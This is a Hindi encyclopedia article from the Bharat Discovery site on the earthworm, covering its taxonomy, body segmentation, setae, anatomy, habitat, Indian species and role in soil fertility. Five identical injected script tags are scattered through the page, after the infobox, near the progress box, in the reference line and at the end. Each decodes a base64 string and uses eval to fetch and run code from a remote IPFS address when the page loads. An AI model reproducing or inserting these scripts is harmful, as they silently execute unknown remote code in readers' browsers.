केंचुआ

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
केंचुआ
केंचुआ
जगत जंतु (Animalia)
संघ ऐनेलिडा (Annelida)
वर्ग ओलिगोकाइटा (Oligochaeta)
गण हैप्लोटेक्सिडा (Haplotaxida)
कुल लुम्ब्रीसिएडी (Lumbricidae)
जाति लुम्ब्रीकस (Lumbricus)
प्रजाति टेरेसट्रिस (terrestris)
द्विपद नाम लुम्ब्रीकस टेरेसट्रिस (Lumbricus terrestris)
अन्य जानकारी केंचुए के शरीर में लगभग 100 से 120 तक खंड होते हैं। इसके शरीर के बाहरी खंडीकरण के अनुरूप भीतरी खंडीकरण भी होता है।

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

केंचुआ (अंग्रेज़ी:Earthworn) यह एक कृमि है जो लंबा, वर्तुलाकार, ताम्रवर्ण का होता है और बरसात के दिनों में गीली मिट्टी पर रेंगता नजर आता है। केंचुआ ऐनेलिडा (Annelida) संघ का सदस्य है। ऐनेलिडा विखंड (Metameric) खंडयुक्त द्विपार्श्व सममिति वाले (bilatrally symmetrical) प्राणी हैं। इनके शरीर के खंडों पर आदर्शभूत रूप से काईटिन (Chitin) के बने छोटे छोटे सुई जैसे अंग होते है। इन्हें सीटा (Seta) कहते हैं। सीटा चमड़े के अंदर थैलियों में पाए जाते हैं और ये ही थैलियाँ सीटा का निर्माण भी करती हैं।

रंग-रूप एवं आकार

ऐनेलिडा संघ में खंडयुक्त कीड़े आते हैं। इनका शरीर लंबा होता है और कई खंडों में बँटा रहता है। ऊपर से देखने पर उथले खात (Furrows) इन खंडों को एक दूसरे से अलग करते हैं और अंदर इन्हीं खातों के नीचे मांसपेशीयुक्त पर्दे होते हैं, जिनको पट या भिक्तिका कह सकते हैं। पट शरीर के अंदर की जगह को खंडों में बाँटते हैं। प्रत्येक आदर्शभूत खंड में बाहर उपांग का एक जोड़ा होता है और अंदर एक जोड़ी तंत्रिकागुच्छिका (nerve ganglion) एक जोड़ी उत्सर्जन अंग (नेफ्रीडिया Nephridia), एक जोड़ा जननपिंड (गॉनैड्स Gonads), तथा रक्तनलिकाओं की जोड़ी और पांचनांग एवं मांसपेशियाँ होती हैं। केंचुए के शरीर में लगभग 100 से 120 तक खंड होते हैं। इसके शरीर के बाहरी खंडीकरण के अनुरूप भीतरी खंडीकरण भी होता है। इसके आगे के सिरे में कुछ ऐसे खंड मिलते हैं जो बाहरी रेखाओं द्वारा दो या तीन भागों में बँटे रहते हैं। इस प्रकार एक खंड दो या तीन उपखंडों में बँट जाता है। खंडों को उपखंडों में बाँटने वाली रेखाएँ केवल बाहर ही पाई जाती हैं। भीतर के खंड उपखंडों में विभाजित नहीं होते।

केंचुआ

केंचुए का मुख शरीर के पहले खंड में पाया जाता है। यह देखने में अध्रर्चंद्राकार होता है। इसके सामने एक मांसल प्रवर्ध लटकता रहता है, जिसको प्रोस्टोमियम (Prostomium) कहते हैं। पहला खंड, जिसमें मुख घिरा रहता है परितुंड (पेरिस्टोमियम Peristomium) कहलाता है। शरीर के अंतिम खंड में मलद्वार या गुदा होती है। इसलिये इसका गुदाखंड कहते हैं। वयस्क केंचुए में 14वें 15वें और 16वें खंड एक दूसरे से मिल जाते हैं और एक मोटी पट्टी बनाते हैं, जिसको क्लाइटेलम (Clitellum) कहते हैं। इसकी दीवार में ग्रंथियाँ भी होती हैं, जो विशेष प्रकार के रस पैदा कर सकती हैं। इनसे पैदा हुए रस अंडों की रक्षा के लिये कोकून बनाते हैं। पाँचवे और छठे, छठे और सातवें, सातवें और आठवें और नवें के बीचवाली अंतखंडीय खातों में अगल बगल छोटे छोटे छेद होते हैं, जिनको शुक्रधानी रध्रं (Spermathecal pores) कहते हैं। इनमें लैंगिक संपर्क के समय शुक्र दूसरे केंचुए से आकर एकत्रित हो जाता है। 14वें खंड के बीच में एक छोटा मादा जनन-छिद्र होता है और 18वें खंड के अगल बगल नर-जनन छिद्रों का एक जोड़ा होता है। 17वें और 19वें खंडों पर नर जनन छिद्रों की रेखा में ही, उनके आगे और पीछे उभरे हुए, पापिला (Papillae) होते हैं। इनको जनन पापिला कहते हैं। जनन पापिला की उपस्थिति एवं बनावट भिन्न भिन्न जाति के कें चुओं में भिन्न होती है। पहले 12 खंडों को छोड़कर सब खंडों के बीच वाली अंतर्खंडीय रेखाओं के बीच में छोटे छोटे छिद्र होते हैं। चूँकि ये पृष्ठीय पक्ष में होते हैं, इसलिये इन्हें पृष्ठीय छिद्र कहते हैं। ये छिद्र शरीर की गुहा को बाहर से संबंधित करते हैं। पहला पृष्ठछिद्र 12वें और 13वें खंड के बीच की खात में पाया जाता है। अंतिम खात को छोड़कर बाकी सबमें एक एक छेद होता है। पहले दो खंडों को छोड़कर बाकी शरीर की दीवार पर अनेक अनियमित रूप से बिखरे छिद्र होते हैं। ये उत्सर्जन अंग के बाहरी छिद्र हैं। इनको नेफ़रिडियोपोर्स (Nephridio-pores) कहते हैं।

शारीरिक संरचना

केंचुए का लगभग तीन चौथाई भाग शरीर की दीवार के अंदर गड़ा होता है और थोड़ा सा ही भाग बाहर निकला रहता है। ये पहले और अंतिम खंडों को छोड़कर सब खंडों के बीच में पाए जाते हैं। प्राय: ये खंडों के बीच में उभरी हुई स्पष्ट रेखा सी बना लेते हैं। एक खंड में लगभग 200 सीटा होते हैं। इनको यदि निकाल कर देखा जाय तो इनका रंग हल्का पीला होगा। यदि सीटा के ऊपर और नीचे के सिरों को खींच दिया जाए, जैसा चित्र में दिखाया गया है, तो आकार में सीटा अंग्रेजी अक्षर S से मिलता है। प्रत्येक सीटा एक थैले में स्थित रहता है। वह थैला बाहरी दीवार के धँस जाने से बनता है और यही थैला सीटा का निर्माण करता है। सीटा अपनी लंबाई के लगभग बीच में कुछ फूल जाता है। इन गाँठों को नोड्यूल (Nodules) नाम दिया जाता है। सीटा विशेषकर केंचुए को चलने में सहायता करते हैं। इन खंडों के अनुरूप पट या भित्तियाँ होती हैं, जो शरीर की गुहा को खंडों में बाँटती हैं। केंचुआ के पाचनांग लंबी, पतली दीवारवाली नली के रूप में होते हैं, जो मुख से गुदा तक फैली रहती हैं, केंचुए का केंद्रीय तंत्र स्पष्ट होता है और इसकी मुख्य तंत्रिका आँतों के नीचे शरीर के प्रतिपृष्ठ भाग से होती हुई जाती है। प्रत्येक खंड में तंत्रिका फूलकर गुच्छिका बनाती हैं। इससे अनेक तंत्रिकाएँ निकलकर शरीर के विभिन्न अंगों में जाती हैं। केंचुए का एक छोटा सा मस्तिष्क भी होता है। इसका आकार साधारण होता है और यह आँतों के अगले भाग में स्थित रहता है। इसके अलावा शरीर में कई समांतर रक्तनलिकाएँ होती हैं। इनमें रक्त का संचार करने के लिये चार बड़ी बड़ी स्पंदनशील नलिकाएँ रहती हैं। ये सिकुड़ती और फैलती रहती हैं। इससे रक्त का संचार होता रहता है। जहाँ तक प्रजनन अंगों का संबंध है, एक ही केंचुए में दोनों लिंगों के अंग पाए जाते हैं इसीलिये इन्हें द्विलिंगीय (hermaphrodite) कहते हैं। किंतु उनमें स्वसंसेचन संभव नहीं हैं; परसंसेचन ही होता है। दो केंचुए एक दूसरे से संपर्क में आते हैं और संसेचन करते हैं।

केंचुआ

आवास

केंचुए पृथ्वी के अंदर लगभग 1 या 1.5 फुट की गहराई तक रहते हैं। यह अधिकतर पृथ्वी पर पाई जाने वाली सड़ी पत्ती बीज, छोटे कीड़ों के डिंभ (लार्वे), अंडे इत्यादि खाते हैं। ये सब पदार्थ मिट्टी में मिले रहते हैं। इन्हें ग्रहण करने के लिये केंचुए को पूरी मिट्टी निगल जानी पड़ती है। ये पृथ्वी के भीतर बिल बनाकर रहने वाले जंतु हैं। इनके बिल कभी कभी छह या सात फुट की गहराई तक चले जाते हैं। वर्षा ऋतु में, जब बिल पानी से भर जाते हैं, केंचुए बाहर निकल आते हैं। इनका बिल बनाने का तरीका रोचक है। ये किसी स्थान में मिट्टी खाना प्रारंम्भ करते हैं और सिर को अंदर घुसेड़ते हुए मिट्टी खाते जाते हैं। मिट्टी के अंदर जो पोषक वस्तुएँ होती हैं उन्हें इनकी आँतें ग्रहण कर लेती हैं। शेष मिट्टी मलद्वार से बाहर निकलती जाती हैं। केंचुए के मल, जो अधिकतर मिट्टी का बना होता है, मोटी सेंवई की आकृति का होता है। इसको वर्म कास्टिंग (worm casting) कहते हैं। प्राय: बरसात के पश्चात् पेड़ों के नीचे, चरागाहों और खेतों में, वर्म कास्टिंग के ढेर अधिक संख्या में दिखाई पड़ते हैं। केंचुए रात में कार्य करन वाले प्राणी है। भोजन और प्रजनन के लिये वे रात में ही बाहर निकलते हैं; दिन में छिपे रहते हैं। साधारणत: शरीर को बिल के बाहर निकालने के पश्चात् ये अपना पिछला हिस्सा बिल के अंदर ही रखते हैं, जिसमें तनिक भी संकट आने पर यह तुरंत बिल के अंदर घुस जाएँ। फेरिटाइमा (Pheretima) जाति के केंचुए पृथ्वी के बाहर बहुत कम निकलते हैं। इनकी सारी क्रियाएँ पृथ्वी के अंदर ही होती है। केंचुए मछलियों का प्रिय भोजन है। मछली पकड़ने वाले काँटे में केंचुए को लगा देते हैं, जिसको खाने के कारण वे काँटे में फँस जाती हैं।

केंचुओं की जातियाँ

केंचुआ

भारत में कई जातियों के केंचुए पाए जाते हैं। इनमें से केवल दो ऐसे हैं जो आसानी से प्राप्त होते हैं। एक है फेरिटाइमा और दूसरा है यूटाइफियस। फेरिटाइमा पॉसथ्यूमा (Pheretima Posthuma) सारे भारतवर्ष में मिलता है। उपर्युक्त केंचुए का वर्णन इसी का है। फेरिटाइमा और यूटाइफियस केवल शरीर रचना में ही भिन्न नहीं होते, वरन्‌ इनकी वर्म कास्टिंग भी भिन्न प्रकार की होती है। फेरिटाइमा की वर्म कास्टिंग मिट्टी की पृथक्‌ गोलियों के छोटे ढेर जैसी होती है और यूटाइफियस की कास्टिंग मिट्टी की उठी हुई रेखाओं के समान होती है। केंचुए की कुछ जातियाँ प्रकाश देने वाली होती हैं। इनके चमड़े की बाहरी झिल्ली प्रकाश को दिन में ग्रहण कर लेती है और रात्रि में चमकती रहती है।

किसानों के सच्चे मित्र

केंचुए किसानों के सच्चे मित्र और सहायक हैं। इनका मिट्टी खाने का ढंग लाभदायक है। ये पृथ्वी को एक प्रकार से जोतकर किसानों के लिये उपजाऊ बनाते हैं। वर्म कास्टिंग की ऊपरी मिट्टी सूख जाती है, फिर बारीक होकर पृथ्वी की सतह पर फैल जाती है। इस तरह जहाँ केंचुए रहते हैं वहाँ की मिट्टी पोली हो जाती है, जिससे पानी और हवा पृथ्वी की भीतर सुगमता से प्रवेश कर सकती है। इस प्रकार केंचुए हल के समान कार्य करते हैं। डारविन ने बताया है कि एक एकड़ में 10,000 से ऊपर केंचुए रहते हैं। ये केंचुए एक वर्ष में 14 से 18 टन, या 400 से 500 मन मिट्टी पृथ्वी के नीचे से लाकर सतह पर एकत्रित कर देते हैं। इससे पृथ्वी की सतह 1/5 इंच ऊंची हो जाती है। यह मिट्टी केंचुओं के पाचन अंग से होकर आती है, इसलिये इसमें नाइट्रोजनयुक्त पदार्थ भी मिल जाते हैं और यह खाद का कार्य करती हैं। इस प्रकार वे मनुष्य के लिये पृथ्वी को उपजाऊ बनाते रहते हैं। यदि इनको पूर्ण रूप से पृथ्वी से हटा दिया जाए तो कृषि के लिये समस्या उत्पन्न हो जायगी।[1]


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

टीका टिप्पणी और संदर्भ

  1. केंचुआ (हिंदी) भारतखोज। अभिगमन तिथि: 31 दिसम्बर, 2013।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

बाहरी कड़ियाँ

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>